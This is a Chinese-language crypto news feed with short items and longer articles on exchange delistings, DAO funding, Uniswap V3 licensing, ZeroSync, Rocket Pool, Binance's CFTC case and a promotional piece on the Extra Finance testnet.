    PANews 3月31日消息，Upbit、Bithumb、Coinone等韩国加密交易所通过官网宣布将于当地时间4月14日15:00（北京时间4月14日14:00）下架Paycoin（PCI）。Upbit 表示，“直至投资警告期限届满之日，Paycoin方未能解决投资警告所指出的原因，例如未发行实名存取款账户名称及未能完成虚拟资产经营者变更报告。因此，使用PCI的境内支付业务被判定为实质上已暂停。从业绩和方向来看，投资者投资此项目会有较大风险，因此我们决定终止交易支持。” 据悉，Paycoin是韩国大型支付公司Danal子公司Danal Fintech旗下加密货币支付平台。此前去年11月14消息，韩国监管机构对Paycoin和Wemix等平台币进行调查，以防止“第二次FTX事件”；随后多家韩国交易所于去年12月份下架WEMIX。1月6日消息，韩国金融当局责令Paycoin在2月5日之前关闭相关服务。1月12日消息，韩国DAXA已将Paycoin标记为投资警告。  ( 1 min )
    Messari报告：深度解读DAO工作组的资金分配现状
    作者：Ryan Holloway，Messari分析师 编译：Felix，PANews 去中心化自治组织（DAO）已成为传统组织治理和决策的更去中心化和民主的替代方案。DAO 由代币持有者组成，他们管理协议，选举工作组贡献者或领导者，并分配协议的资金。DAO国库持有来自初始原生代币分配和协议费用的资金，这些资金用于资助DAO活动。 与任何其他组织一样，DAO必须有效地分配资源以实现其长期愿景。本报告研究了DAO工作组，这是一个总称，涵盖了DAO用来组织劳动力的结构，包括子DAO、工作流、核心单位、公会等。该报告汇总了10个DAO和5个类别的DAO预算支付情况，并观察了目前资助的子单位，以概述DAO在2022年如何以及在何处分配资源。 （免责声明：本报告旨在全面概述DAO薪酬。但在某些情况下，缺乏公开可用资料可能会限制Messari提供此数据的能力。） 随着DAO的发展，许多DAO都采用了类似的工作组结构来有效地分配任务。工作组的名称、职责、贡献者和术语各不相同。但一般来说，每个工作组都是一个精简、自治的贡献者小组，专注于DAO中的预定任务。对于他们的贡献，DAO用社区国库的资源支付工作组的报酬。 因为协议是存储在区块链上的合约，所以它们被设计为自主且永久地运行。根据定义，它们不需要维护或维修，不像今天的许多传统的软件产品。然而，与传统产品一样，它们通常受益于升级、参数优化和营销。 此外，协议通常由小团队创建。DAO使用工作组、工作流、子DAO和其他途径将任务从这些最初的核心团队转移到更广泛的社区。工作组促进逐步去中心化，同时确保贡献者遵守与创始核心团队相同的严格标准。 工作组是以去中心化的方式组织DAO劳动的最初尝试之一，由于工作组所带来的一些优势，因而仍然有效。这些小组提供了小型团队，可以快速响应快速变化的加密领域。通过将资源集中于特定的挑战或问题，DAO可以使用工作组来优化其战略，以实现其不断发展的愿景。工作组的另一个重要优势是他们受雇于DAO而不是任何中心化实体，确保抵制审查并为新贡献者提供开放的竞争环境。 然而，工作组对贡献者来说也可能具有挑战性。贡献者的表现通常会受到DAO的审查，并且贡献者必须定期通过预算更新提案，向DAO证明他们的价值。但此设置产生了几个弊端： Messari收集了DAO向各自工作组提供的2022年支付数据，来分析资金情况。Messari选择的DAO是基于它们各自的结构，目标是那些通过内部工作组运作的DAO。尽管有这些标准，但由于所涵盖的DAO的新组织结构和流程，一些历史数据是不完整的。例如，并非所有的DAO在发放薪酬时都报告或保存全职员工的历史记录。一些DAO缺乏会计透明度，并在链下投票中商定一个金额，然后在未公开的时间以未公开数量的稳定币和/或原生代币支付。 然而，值得注意的是，一些DAO的内部资金完全透明，例如Gitcoin 的工作流。Gitcoin工作流在其预算提案中提出金额，提案必须通过链上投票，并且提供准确的历史支付数据。此外，工作流在它们的概念页面中提供了大量的文档，这些文档指定了角色、会计、计划等等。 在选择了要涵盖的10个DAO之后，Messari将这些费用支出分为五个类别：产品和开发、增长计划、运营、营销和社区。 (有关每个类别和来源中特定工作组的完整分类，请参阅Miro Board) 整个2022年，有1.02亿美元从DAO的国库中分配给内部DAO劳动力。在这笔资金中，超过58%用于产品和开发，第二高的类别是DAO增长计划 (22%)。每个类别及其具体组成在决定DAO的长期成功方面起着至关重要的作用。 产品和开发 产品和开发类别侧重于协议的技术方面。它负责协议的开发、安全性、可靠性和可扩展性。此工作组类别可确保协议的顺利运行，这对DAO的寿命至关重要。 产品和开发成本涵盖DAO中各种以产品为中心的领域。这些小组例如包括Gitcoin的Gitcoin产品集体 (GPC) 工作流、MakerDAO的开发和用户体验核心单元，以及ShapeShift的工程工作流。 MakerDAO 的协议工程核心单元 MakerDAO在2022年为产品和开发计划拨款3800万美元。与产品相关的计划占2022年MakerDAO分配给核心部门的5100万美元总额的75%（注意：一些资金将随着时间的推移而获得，不会立即支付）。协议工程（PE）核心单元在MakerDAO的产品和开发支出中获得了最多的资金，2022年分配了1100万美元。 PE部门由16名全职员工组成，其核心职责“是扩展Maker协议的功能，协助维护和运行现有智能合约，并确保协议设计和实现的安全性和正确性。” (来源) PE的主要职责包括： 增长计划 增长类别涵盖一系列旨在增加协议使用的计划。这些团体的例子包括Balancer的Grants计划、MakerDAO的Growth Core Unit以及ENS和Gitcoin的公共产品计划。 开发创新想法的资金是许多DAO的必要支出。虽然增长计划可能有不同的策略，但它们通常围绕着增加对集成、合作伙伴关系的使用，以及加深基于dApp的依赖性。许多协议还通过积极资助公共产品和向生态系统核心开发者捐款来促进更广泛的生态系统增长。 Balancer 的资助计划 Balancer的资助计划是Balancer在增长类别下资助的两个计划之一，另一个是Orb。该赠款计划资助为Balancer生态系统做出贡献的创新项目和团队。旨在支持各个领域的项目，包括开发、研究、教育和社区建设。该计划通过去中心化和透明的流程运作，其中所有提案均由Balancer社区和Balancer拨款委员会评估。成功的申请者将获得Balancer原生代币BAL。 运营 尽管是第三大类别，但运营对于DAO的运作至关重要。此类别涵盖法律和公司合规性、DAO流程和日常运营。运营费用包括基金会、合规小组和资金管理小组。 有9个DAO在2022年将资金分配给运营，是最常获得资助的类别。 Gitcoin的DAO Ops工作流 Gitcoin的DAO Ops工作流是其运营费用的重要组成部分，负责会计、招聘、新贡献者入职、工具和社区治理。 DAO Ops工作流处理大量的操作任务。为了让不同的贡献团体与Gitcoin的使命保持一致，Gitcoin的跨流运营工作强调了工作流之间的协作。DAO Ops还负责增加Gitcoin Steward在DAO中的参与度，处理人员操作，确保贡献者能够在他们的角色中成长，为Gitcoin Grantees提供支持，并负责所有DAO的工具需求。 营销 营销类别包括致力于推广平台和提高用户参与度的工作组。例如，Gitcoin的周边、表情包[2]和营销工作流、ShapeShift的营销公会和Balancer的Orb营销服务提供商。为了发展各自的协议，这些工作组将举办活动、参加会议、赞助黑客马拉松并开展社交媒体活动。 2022 年，Gitcoin的周边、表情包和营销工作流获得了最高的DAO营销资金分配，总计190万美元。 ShapeShift的营销工作流 ShapeShift的营销工作流以110万美元的金额在营销类别中排名第二。工作流负责推广平台和提高用户参与度。它采用各种营销举措，包括： 社区 社区类别中的团体专注于培育一个以DAO协议为中心的强大且包容的社区。他们还促进成员参与，并为社区提供教育和支持。这些团体的例子包括Balancer的Balancer Maxis、MakerDAO的大使计划、mStable的社区subDAO、Bankless DAO的教育和翻译公会，以及PoolTogether的社区团队。 强大的社区对于DAO的成功至关重要。它不仅有助于吸引新用户和贡献者，而且还鼓励现有成员在组织内承担更重要的角色。以社区为中心的举措通常包括教育研讨会、网络研讨会和聚会，以增强和教育用户了解协议的复杂性。 Bankless DAO的以社区为中心的公会 Bankless DAO的教育和翻译协会分别获得6.9万美元和7.3万美元资金，这是DAO如何优先考虑包容性社区和教育的很好的例子。 教育协会负责：培训新成员，教育新成员使用DAO和工具，并为成员举办信息会议。 翻译协会负责：通过翻译创建和传播，加深全球对加密和Bankless DAO使命的理解。 通过不同DAO之间的资金分配比较，出现了一些趋势和模式。产品与开发是全线资金最高的类别，2022年获得的平均付款最高，为46万美元。紧随其后的是增长计划、运营、营销和社区。这种模式表明DAO正在积极投资于构建和维护稳健的技术基础。 营销类别（总资金450万美元）的平均支付额高于运营（总资金1200万美元），部分原因是类别细分导致，营销类别仅包含9个团队，而运营类别包含28个团队。 这些数据提供了资金计划的总体概览，旨在作为健康资金分配的基准。然而，这些比较是有限的，DAO会随着时间的推移根据其不断变化的使命和价值观优化其支付方式。尽管如此，这些数据还是有助于突出资金最多的类别，并可以深入了解成功策略的特征。 随着区块链生态系统的发展，融资方式也必须不断适应。虽然已经有许多DAO工具可用，但是新的创新和策略可以通过改善贡献者的工作氛围来吸引人才。 DAO面临准确定价贡献、绩效衡量和问责制的问题。为确保可持续性，DAO必须确保资源得到有效分配，并确保贡献者履行其承诺。 为了改善问责制，DAO可以寻求为工作组实现严格的标准化绩效指标。虽然缺乏绩效指标还没有造成任何重大问题，但在资金稀缺的环境中，DAO可能需要变得更加严格。 全职DAO贡献者无疑面临着相当大的职业风险，因为他们受制于最新的成功资助提案。许多DAO都在努力吸引已经享有稳定收入和福利的，具有清晰职业道路的专业人士。随着区块链行业的发展和对顶尖人才的竞争加剧，DAO可能需要更加强调留住和满足他们的贡献者。这些策略可能包括： 这些变化将导致更结构化的薪酬方案，就像在传统组织中一样，包括固定工资、奖金和福利。更有竞争力的薪酬方案可能会提高工作组和贡献者之间的专业化，从而创造一个更有效的市场。 DAO还可以从探索和试验其贡献者的新薪酬模型中受益。一些例子包括： (来源) 随着越来越多的DAO加入并开始在这个领域合作，他们有一天可能会成为资助赠款和生态系统计划的中心来源。DAO可以通过共同赞助互利赠款、工作组或开发来提高资本效率，而不是独立工作。例如，DAO可以创建一个生态系统范围的公共产品组，DAO可以在其中共同资助该计划并提供反映其特定使命和价值观的贡献者。 这一想法的实践可以在协议公会试点计划中看到。在该计划中，Lido、Uniswap、ENS、Nouns和Moloch等DAO共同捐赠，以支持开发人员为以太坊协议开发和实现EIP。 (来源) 随着DAO继续去中心化，它们必须平衡权力下放和保留高质量贡献者。由于工作组增加了贡献者的自主权，DAO必须确保其薪酬模型公平、透明且具有足够的竞争力以留住人才。 为了实现这种平衡，DAO应该： 很明显，资助产品和开发计划是整个2022年的重点。但是，随着DAO变得更加成熟，这种重点可能会改变。 无论当前趋势如何，DAO将继续投入时间，探索吸引和留住顶尖人才的方法，因为他们拥有可用的创新工具。Antonio Juliano说得好： “从长期来看，我们的目标应该是让在协议上工作的感觉与在大公司工作一样或更有声望。”  ( 3 min )
    Uniswap基金会新提案提议在L1和L2上确定V3官方部署，以应对BSL到期
    PANews 3月31日消息，据官方推特，Uniswap基金会在推特上表示，由于Uniswap V3的商业源代码许可证（BSL）将于2023年4月1日到期，确定每个链的一个“官方”V3部署将非常重要,以便为用户提供安全保障，为生态系统参与者提供重点支持，并为Uniswap提供清晰度治理。 Uniswap基金会已发布治理提案，以确定BSL在4月1日到期后L1和L2上的“官方”Uniswap部署，并且目前正在收集社区的反馈，以推动这一进程。 其中，一个实体或个人可以同时充当多个利益相关者，例如，提议者也可以是部署者，部署者可以是桥提供者，Uniswap基金会还建议创建一个新的ENS子域v3-deployments.uniswap.eth以跟踪Uniswap V3在L1和L2上的官方部署。  ( 1 min )
    3分钟了解ZeroSync：在比特币上引入零知识证明，将发生怎样的化学反应？
    原文：《将零知识证明引入比特币，ZeroSync 要做什么？》 作者：Karen，Foresight News 如果在比特币上引入零知识证明，会发生什么？如果能够立即验证链的状态而无需下载区块数据或依赖第三方，这将如何改变比特币网络与用户的交互方式？最近公开的一个项目 ZeroSync 正在带头开发比特币证明系统，帮助构建具有隐私、互操作性和可扩展性等特性的比特币未来。 在 了解 ZeroSync 的实施方式和路线图之前，我们先来看看 ZeroSync 团队背景情况。ZeroSync 背后是一个名为 ZeroSync 协会（ZeroSync Association）的瑞士非营利组织，核心贡献者包括 Robin Linus、Lukas George、Tino Steffens、Max Gillett 和 Andrew Milson。 2022 年 2 月份，Lukas George 在柏林技术大学发布一篇学士论文，实施了比特币 headers chain 的第一个基本证明并对其进行了基准测试，7 月份，Robin Linus 作为项目负责人加入，共同创立了 ZeroSync 以实现全部链证明，之后，曾开发 Giza 证明（Cairo VM 完全开源证明者和验证者）的 Max Gillett 加入团队，帮助用 Cairo 实施 STARK verifier（用于证明递归）。 今年 2 月份，ZeroSync 完成递归链证明的基本原型，可验证除见证数据（数字签名）之外的所有比特币共识规则。目前 ZeroSync 已发展成为非营利组织协会 ZeroSync 协会。 ZeroSync 的开发由深耕零知识隐私技术的 Geometry 和 StarkWare 赞助支持，其中，Geometry 负责人为 Aztec Network 前首席执行官 Tom Walton-Pocock，此前还获得对冲基金大鳄 Alan Howard 支持的孵化器 WebN Group 的孵化，Geometry 提供了一笔研究经费来赞助 ZeroSync 最初的开发。StarkWare 的开源计划 OnlyDust 也提供研究资助来赞助开发。 ZeroSync 的贡献合作伙伴还包括比特币闪电网络研发商 Lighting Labs 和扩展技术研发团队 LambdaClass。 ZeroSync 致力于在比特币区块链上实现简洁的 ZK 证明，使用 StarkWare 专有的零知识可扩展透明知识论证 (zk-STARK) 有效性证明来为比特币网络生成 ZK 证明（ZK-proofs），并能够即时验证区块链的最新状态，而无需下载区块数据或依赖第三方。为了实现比特币证明，ZeroSync 也使用由 StarkWare 创建的 Cairo 语言。 ZeroSync 认为，目前证明数百 GB 的区块链历史数据在计算上非常昂贵，而压缩后产生的生成证明允许网络中任意数量的节点都可以使用它立即与网络同步。 ZeroSync 表示可以将 UTXO 集的成本降低到几千兆字节，并且 ZKP 证明非常小，不需要任何共识改变或分叉来实现。比特币固有的 UTXO 模型可以让所有比特币节点在任意时刻就比特币的存在情况达成共识。 ZeroSync 分三个阶段实施链证明，包括区块头链证明（headers chain proof）、假设有效链证明、全部链证明，其中 ZeroSync 已经完成了前两个原型。 更重要的是，ZeroSync 还将发布开发者工具包，帮助开发者将零知识证明应用至他们的产品或服务中，具体的应用场景包括但不限于，比特币交易所可以可以向其客户披露偿付能力，而无需透露具体余额或交易历史信息等内容；证明可以转换或过滤区块链数据，并创建索引以高效查询；由于证明的可组合性可以更方便地扩展和定制；无信任或少信任跨链互操作性等；使用 Zero-Knowledge Contingent Payments 出售证明数据。 综上，ZeroSync 不仅能够允许立即验证链的状态，还将有希望比特币在可扩展性、互操作性、隐私方面实现范式转变。当然，要想打造一个生产级比特币证明，也面临着安全强化以及证明性能等方面的挑战。 参考： https://zerosync.org/ https://bitcoinmagazine.com/technical/zerosync-reduces-bitcoin-node-validation  ( 2 min )
    Rocket Pool将于4月18日进行Atlas升级，包含新的8 ETH迷你矿池
    PANews 3月31日消息，据官方推特，以太坊流动性质押协议Rocket Pool将于4月18日进行Atlas升级。此次升级将推出新的8 ETH迷你矿池，即只需要8枚以太坊就可参与节点质押（满足Rocket Pool要求的情况下）。此次Atlas升级特点包括提高协议效率，为节点运营者分发更高的奖励，提升rETH容量，仍然完全无需许可。 Atlas最重要的功能是RocketPool验证节点Minipools LEB 8's，当前当节点运营商希望创建一个迷你矿池时必须提供16枚ETH并代表协议接收16枚ETH，这意味需要在以太坊上创建一个32枚ETH的质押验证器，随着LEB8的引入，16枚ETH的数量设置将减少至8ETH。此外，Smartnode v1.9.0现已发布，是Shapella硬分叉（4月12日）之前的强制升级。此版本的升级将引入16 ETH迷你矿池。 根据之前消息，此次升级将使该协议与以太坊的上海升级兼容。  ( 1 min )
    数据：所有DAO金库持有的总资产超250亿美元，较年初已翻倍
    PANews 3月31日消息，据Cointelegraph报道，DeepDAO数据显示，3月31日，所有去中心化自治组织（DAO）在金库中持有的总资产达251亿美元，创历史新高。其中约有220亿美元是流动资金，约有35亿美元预留用于归属。自2023年初以来，DAO金库资产已增加了一倍多。 Optimism Collective持有55亿美元的资金，占据22%的份额。Arbitrum的DAO，资金略低，为44亿美元，占17.5%的份额，其次为BitDAO、Uniswap和Polygon，分别持有26亿美元、25亿美元和15亿美元的资金。  ( 1 min )
    Web2沙盒游戏神作《塞尔达：王国之泪》发布Demo，对Web3游戏设计有哪些启示？
    本文来自：Folius Ventures，原文作者：Aiko， 编译：Odaily星球日报 Azuma 3 月 28 日，任天堂官方公布了超人气大作《塞尔达传说：王国之泪》长达 10 分钟的实机演示视频，并介绍了在该新作中主角林克将拥有的四项新技能： 1. 用于逆转物体运动轨迹的Recall（日语字面直译为“倒转乾坤”）； 2. 用于装备融合的 Fuse（日语字面直译为“余料建造”）； 3. 用于载具融合的 Ultrahand（日语字面直译为“究级手”）； 4. 用于穿越上层地图的Ascend（日语字面直译为“通天术”）。 Odaily 星球日报注：实机演示视频传送门。 3 月 30 日，在Folius Ventures 专注 Web3 游戏赛道投资与研究的Aiko 发布了一篇长推，梳理了《塞尔达传说：王国之泪》中所展示的一些可组合性玩法，并探析了相关设计对于 Web3 游戏的借鉴性意义。具体推文内容如下，由 Odaily 星球日报编译（有一定删改）： 在 Folius 2023 的研报中，我参考了许多任天堂游戏，比如《塞尔达传说：旷野之息》和《喷射战士》。看完了青沼英二的《塞尔达传说：王国之泪》实机演示后，我将分析 Fuse 和 Ultrahand 这两项新技能，并强调其背后的核心逻辑 —— 这些逻辑 Folius Ventures曾在 2 月 24 日的一篇研报内有所提及。 首先需要做的概念性解释是，Fuse 所代表的是装备（比如剑、弓、盾牌等等）的可组合性，而Ultrahand 所代表的则是载具（比如车、船）的可组合性。 Fuse 可谓是游戏中“功能型设计”（对应“数值型设计”）的绝佳案例。 在《塞尔达传说：王国之泪》中，玩家将「木棍」+「石头」组合可以获得「大锤」（特效为攻击力加成），将「木棍」+「草叉」组合可以获得「长矛」（特效为攻击范围加成）。通过不同的道具组合出不同特效的武器，取代了传统“数值型设计”中仅可通过强化来提升绝对力量的模式（比如 xxx 通过强化获得了「+15 传说级冰霜附魔剑」）。 Fuse 作为“功能型设计”的好处在于：从体验上看，通过提供多样化的体验，可激发玩家的探索欲和创造力，使其将新体验而非数值增长作为追求；从经济上看，低成本、可组合性强、功能各异、有叠加效果的基础组件也有助于游戏的增强经济活性和厚度。 此外，正如研报中所提到的，通过 Fuse 功能实现的装备可组合性也可以降低玩家对道具磨损的焦虑，品种繁多和大规模流通的消耗性物品与极度稀有的耐用品不同，玩家对此类物品的损耗焦虑和购买行为摩擦往往较小。具体而言，你很难让玩家接受「+15 传说级冰霜附魔剑」因磨损而毁坏，但他们却很乐于尝试通过 Fuse 功能用「木箭」+ 「白色丘丘果冻」制作「一次性冰冻箭」。 在解释 Ultrahand 之前，需要先对《塞尔达传说》系列作品做些解释。 《塞尔达传说》系列作品的最大特点在于其极度自由的开放世界，而这则是基于其高度拟真的底层物理 + 化学引擎所实现的。玩家在游戏内可以与任何环境互动，引起化学/物理反应并产生相应的结果，这给《塞尔达传说》带来了无与伦比的自由度。因此，环境交互上的创新有着非常重要的意义（Recall 和 Ascend 实际上也属于此类）。 在《艾尔登法环》（虽然宫崎英高是我最喜欢的制作人，但还是对不住了）等开放世界游戏中，由于没有底层物理 + 化学引擎，玩家只能前往指定的地图，而在《塞尔达传说：王国之泪》这样的开放世界游戏中，通过Ultrahand 功能所实现的载具可组合性将显著提高用户体验。 在实机演示中，青沼英二利用Ultrahand 功能做出了令人印象深刻的展示 —— 通过将「风扇」放置在载具（包括用「木头」融合而成的「船」）的不同位置，可以驾驶载具在水、陆、空中行驶，几乎涵盖了所有场景。该设计的背后体现了简洁的美学。 因每个「风扇」所具有的能量均有限且可被消耗，这间接地把载具这一耐用品转变成了消耗品（需要找新的「风扇」）。由于玩家可以通过Ultrahand 尝试近乎无限的组合可能，这使得「风扇」有望成为游戏内最重要的基础资源之一，进而间接影响玩家有效地去进行资源管理。 该设计的意义在于，通过尝试将耐用品巧妙地设计为消耗品，同时加强对耐用品的分层，可维持不同层次耐用品的长期需求，继续延伸的话还可以通过解锁其流动性，在增加游戏趣味的同时进一步扩大交易空间。 总之，《塞尔达传说：王国之泪》显著提高了游戏的可玩性和自由度，为整个游戏行业提供了宝贵的经验。 在上文中，我分析了任天堂是如何做“功能型设计”以及消耗品的，并解释了这些逻辑如何与Folius Ventures的研究内容相一致（建议阅读原文）。 更为重要的是，我认为“创造有趣的游戏”和“经济模型设计”的基本逻辑存在相通之处。我的许多经济设计理念均受到了任天堂的启发，我也鼓励更多团队在工作中探索和试验这一理念。  ( 2 min )
    跨链桥聚合器LI.FI完成1750万美元A轮融资，CoinFund等领投
    PANews 3月31日消息，据Finextra报道，跨链桥聚合器LI.FI宣布完成1750万美元A轮融资，CoinFund和Superscrypt领投，Bloccelerate、L1 Digital、Circle、Factor、Perridon、Theta Capital、Three Point Capital、Abra和近20位天使投资人参投。 据悉，LI.FI本轮筹集的新资金将用于推动LI.FI在更多区块链、DEX、跨链桥等领域的开发，同时加强其销售、业务发展、营销和其他能力，以支持代币和订单流交易。 此前去年7月消息，Li.Fi完成由1kx领投的550万美元融资。  ( 1 min )
    CFTC起诉币安背后的数据：币安究竟有多少“美国用户”？
    文章作者：Riyad Carey 文章编译：Block unicorn Binance以巨大的优势成为世界上最大的加密货币交易所。自2017年成立以来，它取得了持续的增长，但自2020年以来，其日益增长的主导地位令人瞩目，当时它占据了约25%的现货量市场份额。在2021年牛市的尾声，它的市场份额接近50%，然后回落，今年再次扩大到峰值70%以上。上周，它下降到只有57%，其中大部分是由于费用的变化和宕机造成的。 Binance受到的第一次打击是在2月份，当时纽约金融服务部（NYDFS）命令Paxos停止发行BUSD，同时证券交易委员会（SEC）向Paxos发出了威尔斯通知。NYDFS发言人表示，Paxos没有履行对BUSD客户进行尽职调查的义务，以防止不良行为者使用该平台（"平台 "是指Binance还是Paxos并不清楚）。我在这里更深入地介绍了这个传奇故事。 第二个更具爆炸性的打击发生在本周，CFTC宣布指控Binance及其首席执行官/创始人赵长鹏（"CZ"）故意规避联邦法律并经营非法数字资产衍生品交易所。这些指控包括： 此案可能需要数年时间，我们不会对指控是否属实作出判断，而是调查数据显示的Binance用户群的情况，并考虑为什么美国机构可能想使用Binance--以及为什么Binance宁愿大型交易者使用Binance而不是Binance.US。 Binance的交易量不成比例地偏向于美国的交易时间（橙色），实际上与美国的交易所Coinbase很相似。2018年，其35%的BTC交易量发生在UTC下午1点至8点（美东时间上午9点至下午4点），而Coinbase的数字是41.5%。2023年到目前为止，Binance的BTC交易量有43.4%是在美国时间段，略微落后于Coinbase的47.5%。 也可以确定Binance的交易量分布何时发生了变化：2021年春末夏初，中国对加密货币交易进行了打击。在短短几个月内，Binance从一个相对平坦的小时分布变成了一个明显偏向欧洲和美国交易时间的分布，美东时间上午10点的交易量是美东时间凌晨1点的两倍多。 诚然，Binance在美国交易时间内促成了其大部分交易量，尽管不清楚这是否纯粹是该交易所专门针对美国交易者的结果。然而，一家总部设在美国的交易公司已经出面证实了诉讼中的一些细节，因此值得考虑为什么一些美国机构会选择使用Binance。似乎有三个主要原因： 1. 衍生品的交易机会 2. 更多的现货交易对 3. 更深层次的流动性 2019年年中，Binance上线了衍生品交易服务，相对其他竞争对手来说，Binance在那个时候还是个新人。因此，BitMEX是之前最大的加密货币衍生品交易所——在2020年10月与CFTC发生冲突时，Binance处于完美的位置，币安显然非常清楚对BitMEX的监管行动所带来的影响，其运营总监据称告诉一位同事：“最近的BitMEX事件对该行业产生了巨大的影响。请从我们的所有图表中删除美国数据... 除了金融和极少数人以外，未来的所有人都不会看到我们的美国数据。” 币安一直以来在永续合约上市方面非常积极，并且自2021年以来，只被FTX超越，后者在停业时拥有182种合约交易对。 对于加密货币衍生品，美国用户的选择有限——散户可以使用无需KYC检查的交易所（这可能不安全或不合法），而机构可以选择使用少数受许可的衍生品交易所，如CME（仅限于BTC和ETH），或选择提起诉讼所述的方法，这将使他们可以访问超过200种永续合约交易对。 币安多年来一直主导着期货交易量，并且自FTX的崩溃以来，已经连续多次为Kaiko覆盖的所有BTC永续合约的交易量提供了超过一半的交易量。（请注意，自12月份以来，随着OKX和Deribit的增长，其市场份额实际上已经减少。） 由更好的流动性和更多交易对相结合，使Binance成为机构交易和做市商的一个有吸引力的场所。然而，这一领域可能会出现动荡，这取决于诉讼的结果，以及Coinbase和Gemini是否如传言那样推出国际衍生品交易所。 从更普遍的意义上讲，Binance与美国交易所相比的另一个优势是它可以自由上市新的代币进行现货交易。截至目前，Binance的活跃交易对是Coinbase的两倍以上，是Kraken的四倍，是Binance.US的六倍。 如果使用Binance，机构可以获得更多的代币，因为它比美国的分支机构多了近600个现货对。然而，除非Binance有很强的流动性，否则所有这些货币对都不会成为吸引力，而Binance确实有。如果美国证券交易委员会指控Coinbase如其威尔斯通知所暗示的那样上市了未注册的证券，那么代币上市优势看起来可能会进一步向国际交易所倾斜。 流动性在加密货币中是最重要的，特别是对于那些建立或出售大量头寸或频繁交易的机构。在这方面，Binance再次取得了很好的成绩，截至本文写作时，其利差比Binance.US收紧了36倍，比Coinbase收紧了8倍。不出所料，Binance的BTC-USDT和ETH-USDT的价差可以说是最小的。 这自然吸引了频繁交易的机构。币安的小币种流动性也非常深。下面是一个表格，显示了一个名为ATOM的市值排名前25的代币的模拟销售价值为10,000美元的滑点，该代币在这三个交易所上都有交易。在Binance上的滑点为0.03％，从未超过0.1％；在Coinbase上的滑点为0.11％，在Binance.US上波动在0.1％和0.3％之间。 币安的市场份额已经下降，并且在未来几个月中可能会进一步下降，尽管很难确定这是因为它在最常交易的BTC交易对上重新实行了费用，还是因为美国机构停止在该交易所交易的原因。幸运的是，Kaiko拥有各种流动性和交易指标，可以让我们了解该交易所如何应对其最近的变化和这项监管行动。 通常，我会猜测美国交易所，特别是Coinbase，会吸收一些离开币安的美国机构现货交易量。但现在监管环境过于不明确，无法做出任何预测。在短期内，Deribi、Bybit和OKX等其他交易所可能会继续吸引币安的一些衍生品交易量。如果Gemini 和Coinbase决定参与其中，争夺这部分交易量可能会变得更加有趣。  ( 2 min )
    ​Optimism 生态收益聚合协议Extra Finance测试网上线：如何获得潜在空投的机会？
    作为倍受关注的 L2 公链，Optimism 是第一个开发并部署的 EVM 兼容 Optimistic Rollup 的以太坊 Layer 2 Chain。Optimism 与以太坊并行，在不牺牲以太坊安全性的同时，更加高效地处理交易，并将 gas 费降低至最低。 因为确认速度较慢，gas 费用高昂，一些需要高频操作的智能合约无法在以太坊上部署，Optimism 则弥补了以太坊的短板。加上对早期支持者的大规模空投，以及对生态系统的扶持，Optimism 吸引了一大波用户和开发者的关注和参与。 Optimism 生态毫无悬念地迎来了爆发，生态项目包含 NFT、DeFi、GameFi、基础设施、DAO、跨链桥等多个赛道。其中，仅 DeFi 赛道在官网收录的项目就已经达到了 200 多个。生态的繁荣大大提高了 Optimism 生态的拓展性和可组合性，更多的创新项目在 Optimism 上开发并构建。 Extra Finance 是基于 Optimism 的去中心化借贷和自动复合杠杆收益聚合协议。Extra Finance 将会首先集成生态中主流 Dex Velodrome，是第一个基于 Velodrome 的全功能杠杆收益提升协议。包括 Uniswap V3、Beethoven 以及其他主流 Dex 也在后期的规划中。Extra 为用户提供借贷、最高 3 倍杠杆 Farming、做多/做空、中性策略、策略Vault 等多种产品。用户在 Extra 中质押 LP，无需频繁主动管理，就能够将收益提高数倍，或者将资产存入借贷池，获得无风险的稳定收益。 目前，Extra Finance 测试网已经上线，同时在 Galxe 上推出了测试网活动，参与测试完成任务获得测试网 OAT，OAT 的持有人可能获得潜在的激励，可能是空投、白名单或者 OG 等。（详情在文末） 杠杆+复投数倍提升收益 每一位流动性提供者都希望获得更高的收益。Extra Finance 的使命就是解决流动性提供者的需求，在风险最低的情况下，采用杠杆和复投策略将 LP 收益尽可能提高。 让杠杆成为工具 经常能够看到大 V 和 KOL 提醒新人们千万不要加杠杆，这对于交易者来说确实是一个非常实用的忠告。但实际上，杠杆并不是洪水猛兽，也没有想象中的如此危险。在一些场景中合理利用杠杆，能够将资本效率数倍提升。特别是在 DeFi 的 Yeild Farming 中，杠杆能够让有限的资金发挥最大的作用，将收益提高到新的高度。 在 Extra 中，杠杆成为提高利润的工具，为用户带来了正面效用。Extra 最高为用户提供 3 倍杠杆。用户提供资金作为抵押品，通过协议的借贷市场借入更多资金，将规模扩大到本金的三倍。如下图所示，WETH/USDC 的 APR 为 92.5%，用户提供 100USDC 的资金，将杠杆设定为 3 倍，借入 200USDC，并支付 37.6% 的借贷利率，将总价值 300 USDC 的资金投入 LP 中后，APR 直接提升到了 278%。本金没有变化，只是借用协议提供的杠杆，收益从 92.5% 直接提升到了 278%。 灵活的仓位设置 Extra 为用户提供多维度灵活的仓位设置。用户可以提供 LP 中的包含的任意代币的任意金额。比如在 WETH/USDC LP 对中，用户可以单独提供 USDC 或者 WETH，或者同时提供两种代币，并且无需保持 1:1 的比例。 用户还能够在 1 倍杠杆和 3 倍杠杆区间内自定义杠杆倍数，同时借入一种或者两种资产。同时还能够自由设置借入的资产比例，通过对借入资产的比例分配，实现做多/做空或者中性策略，将潜在收益进一步提升。 做多/做空和中性策略 加密市场是一个高波动性的市场，波动带来了风险也带来了机会。由于 Extra 灵活的仓位设置功能，通过合理设置能够实现做多/做空和中性策略，能够让用户在市场的波动中获得额外收益。 在设置头寸时，如果借入一个币种，就是做空，当价格下跌，偿还债务需要的资金将减少。如果买入和持有一个币种，就是做多，当价格上涨时则获得更多利润。同一个币种，如果借入和持有的数量相等也就是做空和做多的金额相等，就是中性策略。 市场的波动很多时候难以预测，中性策略将风险敞口降低为 0，是杠杆收益农业的最佳选择。但是随着价格的波动，杠杆可能倾斜，需要用户经常检查杠杆率，并重新平衡，保持借入和持有的非稳定代币数量相等。 自动复投 复利的力量相信每个人都知道。Extra 采用自动复投策略，每十五分钟自动 Claim 收益，并重新平衡为 LP 加入原始头寸，头寸价值不断上涨，收益也不断上升，从而实现自动复利。这个过程中，用户无需主动管理，只要在 Extra 开仓即可。 参与测试网活动领OAT Extra Finance 的测试网在 3 月 23 日上线，并同步在 Galxe 开启了测试网活动。活动从 3 月 23 日开始持续到 4 月 12 日，一共 3000 个徽章，先到先得。OAT 持有者在完成所有任务后将有资格获得潜在的好处（例如空投或白名单）。此外，在 3,000 名 OAT 持有者中，将奖励提供最有价值反馈的前 20 名测试人员独家 OG 角色以及每人 20 USDC 的奖金，评选标准将基于反馈者见解的质量和影响。 